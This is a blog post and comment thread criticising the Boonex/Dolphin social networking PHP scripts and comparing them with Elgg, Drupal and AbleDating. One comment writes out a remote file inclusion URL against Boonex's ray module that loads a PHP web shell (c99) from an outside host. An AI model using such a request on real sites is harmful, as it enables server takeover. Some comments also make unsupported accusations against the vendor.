Boonex is an assembly of social site php scripts including chats, forum and the site itself. As we work on several social sites this year, we have chosen boonex as starting platform to build things upon and kinda regret it now.
I wrote a post about newscloud a year ago and about pligg. Well, boonex is shittier than pligg and as newscloud as well. Why ? Lets tackle some of its problems
Boonex problem nr1. No coding standard
Boonex is writen by several people using different technologies. Its main base (Dolphin) is writen in pure php with its own template engine and forum (Orca) uses xlst. That has large negative impact to integration of forum in site and site in forum. When coding, please use single technology and template system.
Whats even worser, different parts of dolphins code itself is writen by completely different people, and very in the hurry. So everyone has its own imagination how to interact with different parts of the code. It is very tricky to modify code that way to suit site needs.
Boonex problem nr2. Template engine and separation of code/design/database
This problem in dolphin/boonex needs a point on its own. Boonex uses custom template system ( that should be called layout system). The blocks of generated html code are pased to specific places in the template. That creates a big headache for programers as they need to search through code for the place where some box is generated. It might be generated in template, or in specific function in one of numerous includes. And so on. Even pligg has better templating than this.
It is very tricky to rip boonex templating apart, as whole coding is based on such poor programming practice. They would be better off using existing template system like smarty or similar one.
This leads to problem nr3
Boonex problem nr3. Crapy use of Database
We saw serveral other competing sites launched on boonex, but we did not care much. Why? Becouse when they reach 500-1000 daily visitors they will break apart. The reason for it is very bad programming and use of database.
For example, boonex uses profile builder which assigns fields to profiles. So the output of profile uses more than one table and is quite inefficient.
Also, there is a nice 20-30 query overhead on each page display to fetch all the configuration values from table. Silly, isn’t it ? They would be FAR better of using a file for configuring sofware or caching it in php file like it is done in most of the systems.
Another simple problem. When boonex wants to display a profile being online it additionally check database for its status. But that data was pulled from database already. So 20 useless queries again.
Resume
I would not suggest using boonex if you want to keep your programmers sane. We have have changed the code almost completely for now, and you will need to do that too.
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So what social network platform do you suggest ?? have you tried Elgg ??
Henri : Elgg looks promissing, but i still need to try it out.
[...] though plugins use more user-friendly system than drupal (which I hate). The comparison to both Boonex and Drupal is quite [...]
Elgg is significantly better than Boonex. Cleaner code, and seems to be done by people who know what they’re doing.
Another problem is that it is easy to hack:
http://www.example.com/ray/modules/global/inc/header.inc.php?sIncPath=http://www.evilc0der.com/c99.txt
http://www.evilc0der.com/c99.txt contains PHP code.
you mentioned the code has to be changed completely for now. Does that mean you had to rewrite Boonex? Please let me know if you encountered any security issues with Boonex?
What do you think about their upcoming version 7.0
We still use boonex “framework” if one could call it so, and it is a temporally solution. Haven’t seen fresh boonex code, but if there is no major rewrite from scratch, it sucks. The main issues we faced are database overhead while loading configuration, inefficient queries, multiple re-queries of same things during same page load, templating system that poorly separates code from presentation (what would be its main purpose), no caching, using completely different technology for forum, etc. Also, we need quite specific things that weren’t implemented in boonex at all.
About boonex security… As this article mentions boonex, I get daily worm attacks to my blog that try out typical boonex exploits to hack in and compromise server. Boonex is famous for its XSS vulnerabilities.
Thank you Giedrius! Boonex is heavily pushing their upcoming 7.0. Hopefully it will not just another hype from the owner. I read his interview and hope his software will do what he promised. As of now, it looks like a piece of broken car with good painting all over the exterior.
If I may ask you. My client is looking at AbleDating, Dzoic handshakes, eMeeting. Could you please give me your 2 cents on the mentioned? Take care.
Had installed abledating somewhere, however haven’t worked with its code much. They provide additional services as well, for example custom skinning of the software, or fake profiles
Not my cup of tea, as these profiles look really fake.
First one will be buddypress probably (based on wordpress).
Haven’t tried others yet, though will probably do so
Thanks Giedrius! I am seeing “scam” posting almost everywhere when googling for “abledating”. When I tested their demo, it seems the fastest among others. Take care.
[...] really unproductive topic – that is how to code poorly. Or, more exactly, I am going to pick on my unfavorite piece of social site again, that is Boonex. We will talk about how one should not implement user sessions and how to do it [...]
Great post Giedrius. I wish I had found it sooner. I too have a boonex site as the framework and have been battling a few big problems. We have just about got everything fixed up but I still could use some help on finding a few people that have had more experience cleaning up Dolphin’s mess. Mainly the DB issues. I’d like to contact you.
hmmm…
I’ll try your twitter
I love the abledating software myself after using dolphin for a long time its hard not to love anything after that horrible software that is dolphin, mentioning boonex , wow what a total scam, ive never seen anything like it in my life. The way Its leader “Andrew treats its members is terrible, even to the point now that he has turned nasty and insulting against the very many complaints now in the blogs, which are very censored to hide the truth about Boonex. Andrew lie’s all the time in the blogs to string people along with this new dolphin 7, which is now in its 8th Beta, and still no sign of it ever working, but of course Andrew says the RC is imminent, then comes up with some excuse to why it hasnt been released yet. long standing members are leaving Boonex because experienced users can see there is something really wrong with the software and company ethics…. but hey hoo, thats up to them .im only glad im out of it myself, Horrible software, well it is unless you want to fix bugs for the rest of your life and lose your hair in the process, and people pay money for that rubbish, amazing…
I had a bad feeling after intalling the script on our server & have since read many posts like yours warning users about Boonex Dolphin. Our suspicions arose after logging in to their website which full of broken links & no communication channels. Pity we only found this out after going through the whole installation process
[...] dolphin: The templates and some other modification were really hard. Mostly it requires changes on different parts of the software or an additional budget to buy paid mods. I just found a comment describing the same issues. [...]
I’m trying to get a Boonex website up and running and I have some issues with that.
I also see from other people that Dolphin 7 in the long term is not a good choice.
Now my question is: since I want to build a website based on events what would a good alternative be?
Thanks
Alex : Depends how far other aspects of site need to be developed.
Drupal would be quite good choice as long as your are satisfied with options it provides. There are Elgg (which has better code structure than boonex), though I fear it might have performance problems for custom content types. There are far more choices as long as you look for frameworks rather than CMS’es.
We work on in-house solution for niche social sites we own, that is not for public use.